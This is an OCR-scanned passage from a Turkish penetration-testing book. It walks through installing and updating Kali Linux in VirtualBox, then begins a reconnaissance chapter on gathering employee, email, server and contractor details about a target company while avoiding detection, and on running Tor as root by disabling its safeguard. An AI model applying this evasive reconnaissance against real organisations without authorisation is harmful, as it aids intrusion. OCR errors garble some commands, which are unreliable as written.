BOF &S O G @ rohtcontrol

Diskle ilgili son soru diski bolimlere ayirip ayirmayacagimiz olacak. “All files
in one partition” (TUm dosyalar tek bélimde) digmesini secerek ilerleyebiliriz.
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{ [!] Partition disks ¢
Selected for partitioning:
SCSI1 (0,0,0) (sda) - ATA VBOX HARDDISK: 42.9 GB

The disk can be partitioned using one of several different schemes. If you are unsure,
choose the first one.

Partitioning scheme:

All files in one partition (recommended for new users)
Separate /home partition
Separate shome, svar, and /tmp partitions

<Go Back>

<Tab> moves; <Space> selects; <Enter> activates buttons

Be®&&p = i (O (5 (%] Right Control

Sonraki adimda disk yapilandirmayla ilgili secimlerimizin bir 6zeti karsimiza
cikacak. Burada “Finish partitioning and write changes to disk” (Bolimlemeyi
bitir ve degisiklikleri diske kaydet) secili olacak sekilde devam ediyoruz. Devam
ettiginizde disk yapilandirmayla ilgili cikacak son soruyu “Yes” secenegine
tiklayarak ilerliyoruz.

Sonunda verilerin diske yazildigini ve sistemin kuruldugunu goérdigimuiz
adima geldik. Bu adimda arkamiza yaslanip rakamlarin ilerleyisini seyrederken
bir kahve molasi verebiliriz.
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1 Installing the sustem...

Copying data to disk...

B@eF @™ [ @ @] Right Control

islemler tamamlaninca paket yoneticisiyle ilgili yapilandirma adimina
geciyoruz. Paket yoneticisi Linux’ta kurulumlar ve giincellemeleri yonetiyor.
internetten de indirme ve giincelleme yapabilmesi icin “Use a network mirror?”
(Bir ag yansisi kullanilsin mi1?) sorusuna “Yes” cevabini verip devam ediyoruz.
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1 [1] Configure the package manager |

A network mirror can be used to supplement the software that is included on the CD-ROM.
This may also make newer versions of software available.

Use a network mirror?

<Go Back>

<Tab> moves; <Space> selects; <Enter> activates huttons

B e W@ @ (® richtcontrol

Proxy (Vekil sunucu) adimini bos birakarak devam edelim. Ekrana
“Configuring apt” (Apt yapilandiriliyor) seklinde bir ilerleme ¢ubugu gelecek ve
bir stire bekleyecegiz. Bu zaman zarfinda program, bazi paketleri internetten
indirecek. Daha sonra GRUB yapilandirmasina gececek, burada sordugu “Install
the GRUB boot loader to the master boot record” sorusunu “Yes” ile geciyoruz.
“Device for boot loader installation” icin yikleme yaptigimiz diski seciyoruz.
“/dev/sda” secerek devam ediyoruz.
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[11 Install the GRUB boot loader on a hard disk |

You need to make the newly installed system bootable, by installing the GRUB boot loader
on a hootable device. The usual way to do this is to install GRUB on the master boot
record of your first hard drive. If you prefer, you can install GRUB elsewhere on the
drive, or to another drive, or even to a floppy.

Device for boot loader installation:

Enter device manuall

<Go Back>

{Tab> moves; <Space> selects; <Enter> activates huttons

OBl D@ @ rshtconta

Son olarak kurulumun bittigine dair asagidaki ekran gelecek. “Continue”
dedigimizde “Finish the installation” (Kurulum bitiyor) yazisi ekrana gelecek.
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1 [!!1 Finish the installation |

Installation complete
Installation is complete, so it is time to boot into your new system. Make sure to remove
the installation media (CD-ROM, floppies), so that you boot into the new system rather
than restarting the installation.

<Go Back) LContinue>

<Tab> moves; <Space> selects; <Enter> activates buttons

-

L =

ﬁfjigll“i@ QZ[;] Right Control i

Son olarak bilgisayar yeniden baslayacak ve karsiniza Kali giris ekrani gelecek.
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Fril7:27

Username

B =F @)™ O & [#] Rright Control

Kurulumu basaril bir sekilde tamamladiniz. Bundan sonraki adimda Kali’nin ilk
kurulumu sonrasinda yapilmasi gerekenler izerinden gececegiz.

Kali Linux’ta ilk adimlar

Kali Linux’un kurulumunda belirledigimiz kullanici adi ve sifreyi kullanarak
programa giris yapiyoruz. Eger kurulum sirasinda klavye ayarini yapmadiysak ilk
isimiz klavye diizenini ayarlamak olacak. Daha sonra “VirtualBox eklentilerini”




kurma, daha guvenli bir sifreye gecis ve saat ayarlari gibi isler bizi bekliyor. Bu
adimlari alt bélimler halinde anlatacagim.

Klavyeyi ayarlama

Eger klavyeyle dogru tuslari kullanarak komut yazamazsak bundan sonra
harf arayarak zamanimizi bosa harcayabiliriz. Bundan dolayi 6ncelikli olarak ise
klavye ayariyla basliyoruz. Sag lGst mentye, ardindan da System Settings’e
tiklyoruz.

Applications ~ Places ~ Thu03:38

Wired
Proxy

Battery

Acllan pencerede “Region & Language” ikonunu bulup tikliyoruz.



Applications ~ ottings Thu03:40

All Settings
Personal
Background Notifications Online Privacy Region &
Accounts Language
Hardware
0 v =
—_
2 T
Bluetooth Color Displays Keyboard Mouse & Network

Touchpad

® = ald o

Power Printers Sound Wacom

System

Sonraki pencerede, asagidaki ekran goriintiisiinde goruldugi sekilde “+”
digmesine tikliyoruz.
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< Region & Language e ® O

Language English (United States)

Formats United States (English)

Input Sources
English (US)

+ - =

“Turkish” secenegini bulup “Add” digmesine tikliyoruz.



Thu 04:51

Add an Input Source

Turkish (Turkey)
Turkish (Alt-Q)
Turkish (F)
Turkish (Germany)

Turkish (Sun dead keys)

Turkish (international with dead keys)

Son olarak “English”i secerek “-” digmesine basiyoruz. Artik klavyemiz dogru
sekilde ayarlandi. Acilan pencereleri kapatip yolumuza devam edebiliriz.

VirtualBox eklentilerini kurma

Kali bilgisayarimizi daha etkin kullanabilmek icin “VirtualBox eklentilerini”
kurmamiz gerekiyor. Bunun igin Gst VirtualBox menisiinde “Devices = Install
Guest Additions” veya “Devices = Insert Guest Additions CD image” secenegini
tikhyoruz. Takilan CD’yi otomatik calistirmak isteyip istemedigimiz sorusu
karsimiza ¢ikacak. “Cancel” secerek devam ediyoruz.



“WVBOXADDITIONS_.5.0.10_.104061" contains software
___/ intended to be automatically started. Would you like to run it?

If you don't trust this location or aren't sure, press Cancel.

Masaustiinde asagidaki sekilde ¢ikan ikona cift tiklayalim. Acilan pencerede
“VBoxLinuxAdditions.run” dosyasini strtkleyip birakarak masatstiine
kopyalayalim.

Applications ¥ Places ¥

*
VBOXADDITIONS -

5.0.10_.104061

Kopyalamadan sonra “VBoxLinuxAdditions.run” dosyasi artik
“Desktop”umuzda gorunecek. Artik acik cdromO penceresini kapatabiliriz.



<> [.VBDX&DDITIDNS_5.0.10_104051

0 Recent

B

Home
Desktop
Documents

Downloads

e DR

Music

Pictures

M o

Videos

Trash

»

VBOXADDI...

@

Computer

L& Browse Network

T

32Bit

1'

cert

1

1
m
o

VBoxSolarisAddition
s.pkg

T

64Bit

o

&
o3

VBoxWindowsAdditi

ons.exe

# Run Software

autorun.sh AUTORUM.INF
runasroot.sh VBoxLinuxAdditions.
run
./ &
°ne ”n®

VBoxWindowsAdditi VBoxWindowsAdditi
ons-amdtd. exe ons-x86.exe

"VBoxLinuxAdditions.run” selected (7.5 MB)

Bundan sonraki adimda terminal penceresini agacagiz. Bunun i¢in asagida

gorunen ikona tiklayacagiz.

Terminal

Simdi karsimiza asagidaki sekilde bir pencere ve komut satiri gikacak.



root@kali: ~ @ ® 0O

File Edit View Search Terminal Help

Bundan sonra terminalden yazdigimiz her komutu

# komut

seklinde gosterecegiz.

ilk olarak masatistiine geciyoruz. Bunun icin “cd Desktop” yazip “enter”a
basiyoruz. Dogru klasoérde oldugumuzu gérmek icin sonraki komut “pwd”
olacak. Sonug “/root/Desktop/” ise dogru yerdeyiz.

# cd Desktop
# pwd

/root/Desktop/

Simdi masadustinde neler oldugunu gérmek icin “Is -I” komutunu
kullaniyoruz ve asagidakine benzer bir sonuc gelmesi gerekiyor.
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File Edit View Search Terminal Help
:~/Desktop# 1s -1

Sonraki adim VBoxLinuxAdditions.run dosyasini ‘calistirilabilir’ (executable)
hale getirmek. Bunun igin yetki vermemiz gerekiyor.

# chmod +x VBoxLinuxAdditions.run

“chmod”, Linux sistemlerinde dosyalarin okuma, yazma ve ¢alistirma
yetkilerini ayarladigimiz bir komut. Burada yaptigimiz “+x” ile ilgili dosyayi
calistinlabilir hale getirmek.

man Komutu

chmod ve Linux’un diger komutlari hakkinda yardim alabilmek i¢cin her zaman man
komutunu kullanabilirsiniz.

Kullanim sekli: #man [komut adi]

Ornek: #man chmod




Komut satirinda siz de deneme yapip ornek sonuglari gérebilirsiniz. “man"
sayfalarindan gikmak igin “q” harfine basmaniz yeterli olacaktir.

chmod Komutu

chmod ile bir dosyaya verebilecegimiz yetkiler “r” (Read) okuma yetkisi, “w” (Write)
yazma yetkisi ve “x” (execute) calistirma yetkisidir.

+ile yetki veriyoruz, - ile yetkiyi aliyoruz.

chmod ile ne yaptiginizi anlamak icin asagida gorilen detaylara bakalim:

En basta “-rw-r--r--" seklinde bir kisim goreceksiniz. Daha sonra ise “root root”
yazan bir kisim daha.

“root root” karsihg! “kullanici/grup” seklinde olacak. Yani ilk root dosyanin sahibi
kullanici adini; ikinci root dosyanin sahibi grup adini belirtiyor.

-rw-r--r-- kismina gelince, ilk “rw-" kismi dosyanin sahibi kullanicinin yetkilerini
gosteriyor.

r: (read) okuma yetkisi var; w: (write) yazma yetkisi var demek. -: burada x yerine -
var, yani calistirma yetkisi yok.

ikinci kisim “r--” gruba ait yetkileri gdsteriyor ve sadece okuma yetkisi var.

Ugtinci kisim “r--” (others) kullanici ve grup disinda kalan digerlerine ait yetkileri

gosteriyor. Yine sadece okuma yetkisi var.

Sadece kullanici, grup ve digerlerine yetki verebilmek igin her birinin karsiligini
bilmemiz gerekiyor.

- Kullanici (user) igin “u”

- Grup (group) icin “g”



- Digerleri (others) igin “0”

Ornekler:
- Sadece kullaniclya okuma ve yazma yetkisi verme: # chmod u+rw ornekdosya.sh

- Grup ve digerlerinden ¢alistirma yetkisi kaldirma: # chmod go-x ornekdosya.sh

Bundan sonra tekrar “#ls -I” komutunu calistirdigimizda yetkinin verilmis
oldugunu gorecegiz.

root@kali: ~/Desktop @ 0 0
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:~/Desktop# 1s -1

t root 7515597 MWNov 10 19:57 VBoxLinuxAdditions.run
sktop#

Kurulum komutunu ¢alistirmadan 6nce diizglin ¢calismasi ve kurulumda hata
vermemesi igin son bir adimimiz kaldi. Bu da ilgili linux-header dosyalarinin
kurulumu. VirtualBox bu kurulumlari bulamazsa diizgiin calismayacaktir. ilk




basta ne kurmamiz gerektigini bulmak icin asagidaki komutu girerek sistem
bilgilerine ulasiyoruz. Bendeki 6rnekte “4.0.0-kalil-amd64” cevabi geldi.

# uname -r

4.0.0-kalil-amdo64

ikinci adim, ilgili kurulumlari yapmak. Bunun icin yukarida aldigimiz cevabi
da ekleyerek asagidaki komutu yaziyoruz. Sorulan sorulara “Y” ile cevap
veriyoruz. Kurulum basaril bir sekilde tamamlandiktan sonra yolumuza devam
edebiliriz.

# aptitude install linux-headers-4.0.0-kalil-amdé64

Artik VBoxLinuxAdditions kurulumu icin komutu calistirma zamani geldi.
Asagidaki sekilde komutu calistirabilirsiniz:

# ./VboxLinuxAdditions.run

Kurulum basaril bir sekilde tamamlandiginda asagidaki gibi mesajlar
gelecektir.

st system)

components ...done.

Yukaridaki mesajda bizden son istenen ise bilgisayari yeniden baslatmak.
Bunun icin asagidaki komutu yazip “enter” tusuna basiyoruz ve bilgisayar

yeniden baslatiliyor.



# reboot

VirtualBox sanallastirma Gzerinde calisan isletim sistemlerinin
bilgisayarinizdaki bitin donanimlarla (kamera, mikrofon, USB 3.0 vb.) tam
uyumlu ¢alismasini isterseniz https://www.virtualbox.org/wiki/Downloads
adresine giderek “Oracle VirtualBox Extension Pack” eklentisini de kurmaniz

gerekiyor.

Kurulumun tamamlanmasindan bir sonraki adim ise sistem saat ve tarih

ayarlariile bolgesel ayarlar.

Saat ve tarih ayarlari

Saat ve tarih ayarinda saat dilimimizi diizeltmemiz gerekiyor. Bunun icin
klavye ayarlarinda oldugu gibi sag Gist menliden System Settings’e tikliyoruz.
Daha sonra “Date & Time” secenegine tikliyoruz. Oniimiize gelen ekranda
“Time Zone” secenegine tiklayip saat dilimi icin “istanbul” seciyoruz. Ayrica
“Automatic Date & Time” ve “Automatic Time Zone” se¢ceneklerini “ON”
durumuna getiriyoruz. Bu ayarlarla saatimiz istanbul’a gére internetten

otomatik olarak ayarlanacak.



https://www.virtualbox.org/wiki/Downloads

Q Search for a city (]

EET (UTC+02)
Istanbul, Turkey

09:29

Artik “Date & Time” penceresini kapatabiliriz. Bundan sonraki adim sifre
degistirme olacak.

Sifre degistirme

Kurulum agsamasinda sifremizi basit ve tahmin edilebilir olarak ayarladiysak,
simdi daha karmasik bir sifreye gecmemiz gerekir. Bunun icin ilk 6nce komut
satirini (terminal) aglyoruz. Daha 6nce de tarif ettigimiz gibi asagida goriinen
ikondan terminal penceresini agabiliriz.



~Terminal

Terminal acgildiktan sonra yazmamiz gereken komut “passwd”. Asagida
goruldugi sekilde ilk dnce “Enter new UNIX password:” ile yeni sifre girmenizi
isteyecek. Guvenlik geregi sifre girisinizle ilgili bir detay gériinmeyecek. Sonra
“Retype new UNIX password:” ile yeni sifrenizi tekrar yazmanizi isteyecek. ikinci
defa giris yaptiktan sonra “passwd: password updated successfully” (sifre
basarili bir sekilde degistirilmistir) mesaji goriintilenecek.

# passwd
Enter new UNIX password:
Retype new UNIX password:

passwd: password updated successfully

Sifre degisiminden bir sonraki asama glincellemelerin yapilmasi.

Gilincellemeler

Saldiri bilgisayarimizi giincel tutmak ¢ok énemli. Her giin bilgisayar
sistemleriyle ilgili glivenlik yamalari ve gelistirmeler yayinlaniyor. Bir yandan da
saldiri programlarimiz gelisiyor. Haliyle elimizde her zaman en son teknoloji
silahlar olmasi ve ayrica bize karsi dizenlenebilecek saldirilardan korunmak igin
hem saldiri hem savunma sistemlerimizin glincel olmasi gerekiyor.



Kali kurulumumuzu ve ayarlarimizi tamamladigimiza gore artik
guncellemelere baslayabiliriz. Bunun igin dncelikle glincelleme paketlerini
kontrol eden komutu calistiriyoruz:

# apt-get update

Yukaridaki komutu calistirdiktan sonra giincellemeleri yapan komutu
calistiriyoruz:

# apt-get upgrade

Guncelleme olmasi durumunda asagida ekran gorintisinde oldugu gibi bu
guncellemeleri listeleyen ve devam etmek isteyip istemediginizi soran bir metin
karsimiza cikiyor. “Y” ve sonrasinda “enter” tusuna basarak giincellemeleri
baslatabiliriz.

root@kali: ~ e o 0




Benim 6rnegimde oldukca fazla glincelleme var ve toplamda 157 MB veri
indirecegi yaziyor. Bu, bir hayli zaman alacagi anlamina geliyor. Kurulum
sirasinda bazi servislerin yeniden baslatilmasi gerektigiyle ilgili sorular sorabilir.
Bu durumda “Y” ile devam ediyoruz.

Guncellemeler bittiginde Kali'yi yeniden baslatiyoruz (hatirlayacaginiz gibi
“reboot” komutu) ve baska giincellemeler kalmadigindan emin olmak icin
tekrar ayni komutlari calistiriyoruz. Yani ‘Gincellemeler’ boliminiin basindan
itibaren gerceklesen asamalari tekrar ediyoruz. Eger ikinci defa “apt-get
upgrade” calistirdigimizda asagidaki gibi “The following packages have been
kept back” mesajiyla karsilagirsak bu glincellemelerin yapilabilmesi igin ayri bir
komut calistirmamiz gerekiyor.

ad, 0 to remove and 0 not upgraded.

Bu sefer kullanacagimiz komut, varsa sistem yukseltmesi dahil yapan bir
komut. Glincellenemeyen yukaridaki ek paketlerin de yikseltilmesini

saglayacagiz.

# apt-get dist-upgrade

Asagida goruldigu gibi 56.3 MB’lik bir glincelleme icin onay vermemiz
gerekiyor. “Y” ile devam ediyoruz.



root@kali: ~ @ ® 0O
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nells
ly instal

8 MB of additional disk space will be used.

Guncellemelerin tamamlanmasinin ardindan son bir kontrol olarak tekrar
ayni komutlari ¢alistirlyorum. Eger araya “&&” eklerseniz tek satirda iki komut
birden calistirabilirsiniz.

# apt-get update && apt-get upgrade

“apt-get upgrade” komutunu tekrar calistiriyoruz. Asagida goruldigi Gzere
artik yapilacak giincelleme kalmadi.




Ek Bilgi:

Bazen giincellemelerden sonra VirtualBox eklentileri calismaya baslayabilir. Bu
durum isletim sistemi versiyonuyla ilgili yeni bir stirime glincelleme yapildiginda
karsiniza cikar. Boyle bir durumda VirtualBox eklentilerini kurma adimini tekrarlamaniz
gerekecektir.

Ozet

Sizma testi laboratuvari nedir?

Bilgisayar korsani olarak yapacagimiz ¢calismalar icin kullanacagimiz saldiri ve
kurban bilgisayarlarinin oldugu yalitilmis ortam.

Bu boéliimde neler yaptik?

e VirtualBox kurulumunu yaptik.
e Kali Linux kurulumunu yaptik.
e Kali Linuxile ilgili ayarlamalar ve giincellemeler yaptik.

NOT: Saldiracagimiz bilgisayarlardan bahsetmis olsak da bu bélimde onlarin
kurulumlarini yapmayacagiz. Bu kurulumlar ilerleyen bolimlerde yeri geldikce
yapilacak.



UCUNCU BOLUM

KESIF

Kesif nedir?

“Muhabere olmadan muharebe olmaz.”

Sizma testinde ilk asama kesif. Kesifle amacimiz hedef hakkinda mimkdin
oldugunca cok veri toplamak. Toplayacagimiz bu veriler daha sonra nereye nasil
saldiracagimizin altyapisini olusturacak. Kesif kismi yeni baslayanlar, hatta
sizma testi konusunda yillarca calisanlar icin bile sikici ve gereksiz bir asama
olarak gorulebilir. Oysa kesifle diger bolimlerin altyapisini olusturacak birgok
degerli bilgiye ulasacagiz. Bundan dolayi bu bélime gereken 6nemi vererek
calismaniz faydaniza olacaktir.

Kesif adimi olmadan saldiriya gecmek; dismani tanimadan, gézi kapali
olarak saldiriya gecgmekten ¢ok da farkli olmayacaktir. Muhabere savasta bilgi
toplama ve istihbarat adimidir. Dismanin silahlarini, karakollarini, askerleri
hakkindaki bilgileri kesif adiminda tespit etmeye calisacagiz. Daha sonra bu
bilgileri kullanarak diismanin zafiyetlerini tespit edip kilcal damarlarina kadar
sizabilecegiz.

Kesif adimiyla bir sirket hakkinda ne kadar ¢ok bilgiye ulasabildiginizi
goriunce sasiracaksiniz. Ayrica sirketlerin gonllli olarak ne kadar ¢ok bilgiyi
paylastigini ve bunlardan nasil faydalanabileceginizi 6greneceksiniz.

Amacimiz, elimizdeki tek bilgi sirket adi olsa bile mimkin oldugunca fazla
bilgiye eriserek sonraki adimlar icin altyapiyi olusturmak. Kesif adiminda elde
edebilecegimiz bazi bilgiler:

e Websiteleri ve alt alanlari (subdomain)



e Sirketin faaliyet alani, projeleri, adresi, iletisim bilgileri
e Calisanlarin isimleri ve gorevleri

e E-posta adresleri

e E-posta sunuculari

e  Web sunuculari, ad sunuculari

e Sirketin disariya acik diger IP adresleri

e Word, Excel, PowerPoint dokiimanlari

Dikkat etmemiz gereken bir diger konu ise sizma testlerinde mimkin
oldugunca az iz birakmak ve hedefle gerekmedikge iletisime gegmemektir. Bu
bolimde kullanacagimiz cogu yontem izinsiz yapilsa dahi kanuni olarak sikinti
olusturmayacak yéntemler olacak. izinsiz olarak yaptiginizda sikinti
yasayabileceginiz adimlar ayrica belirtilecek.

Kesifte ilk adima Google ile basliyoruz.

Web sitesi inceleme

Baslangic noktamiz Google’dan sirket adini aratarak web sitesini bulmak.
Sirketin web sitesi lUzerinden mimkiin oldugunca fazla bilgi toplamaya

calisacagiz.
Bir web sitesinde ilgilenecegimiz bazi bilgiler:

e Sirketin faaliyet alani
e stirakleri, alt sirketler: Simdilik “daha sonra incelememiz gereken ek
hedefler” seklinde not almamiz faydali olacaktir.



Projeleri: Ozellikle bilgi teknolojileri projeleri, kullanilan teknolojileri
anlamak agisindan faydali olabilir.

Projelerdeki ylklenici sirketler: Bu sirketler asil hedef olmasa da 6zellikle
projeleri Ustlenen mihendislik firmalarinin kurum aglarina erisimleri
olabilecegini ve bir atlama noktasi olarak kullanilabilecegini hesaba
katmak gerekiyor. Hedefimiz g¢etin ceviz ¢iktiginda yuklenici firmalarda
bize yan yollar agilabilir.

Haberler, duyurular ve basari hikayeleri: Sirketler basarilarini anlatmay
ve duyurmayi sevdikleri icin basari hikayeleri icinde daha sonra
faydalanabilecegimiz bilgiler olabilir.

Calisan isimleri

E-posta adresleri

Telefon numaralari

Sirket adresi ve Google Maps lizerinde bina incelemesi

Word, Excel, PowerPoint ve PDF gibi dosyalar

insan kaynaklariyla ilgili bélimlerin incelenmesi: Ozellikle is ilanlari ve
aranan oOzellikler ve bu is ilanlarinda bilgi teknolojileriyle ilgili olanlar
varsa; aranan is pozisyonlariyla ilgili teknik yetkinlikler, kullanilan
teknolojiler hakkinda ciddi bilgiler verebilir.

Bltln bu arastirmayi tamamladigimizda sirket hakkinda kafamizda detayl

bir resim c¢izilmis olacaktir. Artik sirketin faaliyet alani, fiziksel konumu,

calisanlari, kullandigi teknolojiler ve projeleri gibi bircok bilgiye sahibiz.

Siteyle ilgili incelemeyi her seferinde siteye baglanip yapmak yerine kendi

bilgisayarinizdan yapmak isterseniz sitenin bir kopyasini da ¢ikarabilirsiniz. Site

kopyalama icin HTTrack®? gibi araclar kullanabilirsiniz. Yalniz unutmayin, site

kopyalamak hedefle iletisime ge¢gmek ve iz birakmak anlamina geliyor. Ayrica

sitelerinin kopyalanmasini ¢cogu sirket hos karsilamayacaktir. Dikkatli hareket

etmek, iz birakmamak ve bilgi teknolojileri (BT) ekibini uyandirmamak igin

B http://www.httrack.com



gurilticu yontemleri tercih etmemeliyiz. Siteyi indirmek yerine Tor!* Gizerinden
iz birakmadan istedigimiz kadar inceleme yapabiliriz.

Tor internet gezgini

Tor Projesi ilk basta Amerika Birlesik Devletleri Deniz Kuvvetleri tarafindan
devlet iletisiminin izinsiz erisimlerden korunmasi icin gelistirilmistir. Su anda
diinyanin her yerinde anonim olarak internette gezinme amaciyla
kullaniimaktadir. https://www.torproject.org web sitesidir. Tor internet

gezginini Linux, OS X ve Windows isletim sistemlerinde lcretsiz olarak kurabilir
ve kullanabilirsiniz.

Tor yuklemek i¢in 6ncelikli olarak Kali’deki internet tarayici Iceweasel’l
acalim. Bunun icin asagidaki resimde gorinen ikona tiklamaniz gerekiyor.

Iceweasel acildiktan sonra Google arama alanina “Tor” yazip aratiyoruz.
Daha sonra gelen sonuglardan asagida goruldigi sekilde “Download Tor”
kismina tikhyoruz.

“https://www.torproject.org
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Acllan kutuda “Save File” (dosyay! kaydet) ve “OK” secelim. Daha sonra
acilan pencerede “Save” ile devam edecegiz.

Opening tor-browser-linux64-5.0.6_en-US.tar.xz

You have chosen to open:
tor-browser-linux64-5.0.6 _en-US.tar.xz

which is: XZ archive (48.5 MB)
from: https://dist.torproject.org

What should Iceweasel do with this file?

_) Open with | Archive Manager (default) v |

@ §_ave File

| Do this automatically for files like this from now on.

Cancel ‘ \ OK 1

indirmenin son durumunu Ctrl+Shift+Y tuslarina basarak veya meniiden
Tools - Downloads’a tiklayarak gorebiliriz. Dosya yiklendikten sonra
Terminal’i agarak devam ediyoruz. ilk &nce indirdigimiz dosyanin bulundugu
dizine gidelim. Bunun icin “cd Downloads” komutunu kullaniyoruz. Daha sonra

“Is -1” komutuyla dosyalari listeleyelim. Asagidaki gibi tor-browser paketinin
inmis oldugunu gérmemiz lazim.

# 1s -1
-3.
total 49656

-rw-r—--r—-- 1 root root 50846816 Dec 21 15:51 tor-browser-
linux64-5.0.6_en-US.tar.xz

Bundan sonraki adim sikistiriimis paketi agmak. Asagidaki sekilde komut
giriyoruz. Girecegimiz komut “tar xvf) dosyaadi”.

# tar xvfJ tor-browser-1inux64-5.0.6 en-US.tar.xz




Paket acildiktan sonra tekrar listeleme komutuyla son duruma bakalim.
Asagida gordugliniiz gibi “tor-browser_en-US” isimli yeni bir dizin olustu.
Gorduglimuiz seyin dizin (klasor) oldugunu bastaki “d” harfinden anliyoruz
“drwx------ ”. Listede dikkatimizi ceken bir diger nokta da asagida goraldigu
tizere kullanici “1000” ve grup “inetsim”. ilgili kullanici ve grup dogru olmadig

icin degistirecegiz.

# 1s -1
total 49660
drwx-—--—-- 3 1000 inetsim 4096 Jan 1 2000 tor-browser en-US

-rw-r—--r-- 1 root root 50846816 Dec 21 15:51 tor-browser-
linux64-5.0.6 en-US.tar.xz

Kullaniciyr “chown” komutuyla degistirecegiz. “-R” parametresi bitin alt
klasorler ve dosyalar icin komutun calismasini saglayacak.

# chown -R root tor-browser en-US/

Grubu “chgrp” komutuyla degistirecegiz. “-R” parametresi bitin alt
klasorler ve dosyalar icin komutun calismasini saglayacak.

# chgrp -R root tor-browser en-US/

Tekrar kontrol ettigimizde kullanici adi ve sifrelerin degistigini gorecegiz.

# 1s -1
total 49660
drwx------ 3 root root 4096 Jan 1 2000 tor-browser en-US

-rw-r—-—-r—-— 1 root root 50846816 Dec 21 15:51 tor-browser-
linux64-5.0.6 en-US.tar.xz

Simdi “tor-browser_en-US” klasoriine girmemiz gerekiyor. Bunun igin
kullanacagimiz komut “cd klasor_adi”. Daha sonra “pwd” komutuyla hangi
dizinde oldugumuzu kontrol edebiliriz. icerigi “Is -I” komutuyla kontrol edelim.
Goruldugu gibi “start-tor-browser” seklinde calistirilabilir (executable) bir dosya

var.



# cd tor-browser en-US/
# pwd

/root/Downloads/tor-browser en-US # 1ls -1

total 8
drwx------ 9 root root 4096 Jan 1 2000 Browser
—rWX—————— 1 root root 1682 Jan 1 2000 start-tor-

browser.desktop

Tor’u calistirmayi denedigimizde asagida gordiglinliz gibi root yetkisiyle tor
calistinlamiyor.

# ./start-tor-browser.desktop

The Tor Browser Bundle should not be run as root. Exiting.

Tor, ¢alistirma komutuna root kullanicisi olarak ¢alismayi engelleme
kontrolii koymus. Biz bu kontrolii gecerek devam edecegiz. ilk olarak start-tor-
browser dosyasinin oldugu dizine gegmemiz gerekiyor. Bunun icin “cd
Browser/” yazarak “Browser” dizinine geciyoruz. Daha sonra vim*® metin
editorini kullanacagiz ve ilgili komutunu degistirecegiz. Yazacagimiz komut
“vim dosya_adi”.

# vim start-tor-browser

Komuttan sonra asagidaki gibi bir ekran karsimiza cikacak.

> http://www.vim.org



start-tor-browser (~/Downloads/tor-browser_en-US/Browser) - VIM @ ¢
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B! /usr/bin/env bash

#

# GNU/Linux does not really require something like Relativelink.c

# However, we do want to have the same look and feel with similar features.
#

# Copyright 2015 The Tor Project. See LICENSE for licensing information.

complain dialog title="Tor Browser"

# First, make sure DISPLAY is set. If it isn't, we're hosed; scream

# at stderr and die.

if [ "x$DISPLAY" = "x" 1; then
echo "$complain dialog title must be run within the X Window System." >&2
echo "Exiting." >&2
exit 1

fi

# Second, make sure this script wasn't started as 'sh start-tor-browser' or
# similar.
1F [ "x$BASH" ="x* 1; then
echo "$complain dialog title should be started as './start-tor-browser'"
echo "Exiting." =>&2
exit 1;
fi

# Do not (try to) connect to the session manager
unset SESSION MANAGER

# Complain about an error, by any means necessary.

# Usage: complain message

# message must not begin with a dash.

complain () {
# Trim leading newlines, to avoid breaking formatting in some dialogs
complain message=""echo "$1" | sed '/./,$!d'""

Tl

Metin icinde “root” yazisini arayacagiz. “/root” yazip enter tusuna basiyoruz
ve aramanin sonucu karsimiza geliyor. Asagida 6rnegi verilen metnin oldugu
yere gelmis olmaniz lazim. Yapmamiz gereken, bu kismin tamamini agiklama
olarak kapatmak. Bunun igin dort satirin her birinin basina “#” isareti ekliyoruz.

own
I

Ekleme yapabilmek icin “i” harfine basarak “--INSERT--” metin ekleme moduna

geciyoruz. Degisiklikleri yaptiktan sonra “ESC” tusuna basarak degisiklik



modundan ¢ikiyoruz.

"*id -ut" -eq @ ]; then

plain "The Tor Browser Bundle should not be run as root. Exiting."
xit 1

" "

id -u™" -eg
plain "The Tor Browser Bundle should not be run as root. Exiting."

Son olarak “:wq” yazip enter tusuna basiyoruz. “:” ile vim komutlari
yazabiliyoruz. “w” write yani yaz-kaydet, “q” ise quit yani programdan ¢ik
anlamina geliyor. Yani “:wq” ile dosyayi kaydedip ¢ikmis oluyoruz.

Ciktiktan sonra istersek bulundugumuz “/root/Downloads/tor-browser_en-
US/Browser” dizininde asagidaki sekilde komutu yazip Tor’u calistirabiliriz. Ya
da “tor-browser_en-US/” dizinine geri donlip “./start-tor-browser.desktop”
komutunu kullanabiliriz. ikisinde de ayni sonucu alacagiz.

# ./start-tor-browser

Karsimiza 6nce asagidaki Tor ekrani gelecek. “Connect” (baglan) tusuna
basarak devam ediyoruz.



Simdi baglantilarin ve ayarlarin yapildigini gésteren bir ekran geliyor.



Tor Status

Connecting to the Tor network

‘ Loading network status

Please wait while we establish a connection to the
Tor network.

Cancel

Son olarak Tor internet gezgini calismaya basliyor. indirme, ayarlar ve en son
calistirma islerini basariyla halletmis oluyoruz.
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Edward Snowden would not have been able to contact me

without Tor and other free software encryption projects. Tor
is an essential tool, and it needs our support.

— Laura Poitras

OSCAR-WINNING DOCUMENTARY FILMMAKER, CITIZENFOUR

Please support Tor!

Congratulations!
This browser is configured to use Tor.

You are now free to browse the Internet anonymously.
Test Tor Network Settings

Search securely with Disconnect me.

What Next?

Toris NOT all you need to browse

anonymously! You may need to change some of
your browsing habits to ensure your identity

You Can Help!

There are many ways you can help make the Tor
Network faster and stronger:

« Run a Tor Relay Node »
« Volunteer Your Services »
Tips On Staying Anonymous » + Make:aLonation's

stays safe.

The Tor Project is a US 501(c)(3) non-profit dedicated to the research, development, and
education of online anonymity and privacy. Learn more about The Tor Project »

Test etmek ve konumumuzu anlamak icin http://www.whereisip.net/

adresine giriyoruz. Bu adres, su an aldigimiz IP adresi ve konumumuzu

gosterecek. Asagida goruldugu sekilde su anki konumumuz Likksemburg.

Tor Browser
5.06
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Ask & Answer
Questions!

Detect Proxy

Add to your site

We are working on this site
real hard, and we will be
adding many pages shortly.
Meanwhile, you can ask
questions related to IP
addresses, online privacy,
anonymous surfing, and the
like, and you can help the
askers by providing good
answers by clicking here What Is IP Address?
Please feel free to use our
QA section to ask your
questions and to help others IP address (short for Internet Protocol Address), or as sometimes called IP number, is a code
by providing answers. consisting of numbers and dots identifying a particular device (computer, Web server,
printer; smartphone, tablet, and the like), attached to an IP (TCP/IP) network. In other
“ words, it is the address that enables the attached devices to be accessed by or to access
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Artik Tor ile istedigimiz sitede iz birakmadan gezebiliriz.

Tor vekil sunucu (Tor proxy)

Tor agini sadece internet gezginlerinde kullanmak bizim icin yeterli
olmayacak. Yeri geldiginde baska yazilimlarda ve komut satirinda Tor agini
